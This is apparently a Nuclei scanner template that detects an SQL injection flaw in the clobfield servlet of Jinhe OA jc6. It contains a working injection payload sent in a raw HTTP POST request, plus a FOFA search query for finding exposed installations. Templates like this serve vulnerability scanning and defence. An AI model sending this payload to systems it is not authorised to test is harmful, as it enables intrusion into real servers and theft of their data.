jinhe-jc6-sqli: Jinhe OA - SQL Injection

id: jinhe-jc6-sqli

info:
  name: Jinhe OA - SQL Injection
  author: Ky9oss
  severity: high
  description: |
    SQL injection vulnerability in the ljc6/servlet/clobfield interface of Jinhe OA jc6. An attacker can obtain sensitive information.
  reference:
    - https://github.com/wy876/POC/blob/main/%E9%87%91%E5%92%8COA%20jc6%20clobfield%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
    - https://blog.csdn.net/qq_41904294/article/details/135074649
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="金和协同管理平台"
  tags: jinher,jc6,sqli,vuln
variables:
  num: "{{rand_int(9000000, 9999999)}}"

http:
  - raw:
      - |
        POST /jc6/servlet/clobfield HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11' and CONVERT(int,(select%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27{{num}}%27))))=1 and ''='

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{md5(num)}}"
          - "nvarchar"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ea1de83f79a87217df8aeb41528253948603bcca5c50d70e45310e553daf430022100c786ff9a9fd71b2935930c077c056aebafffc538f8e0c3fd8a607f5e17f18da3:922c64590222798bb761d5b6d8e72950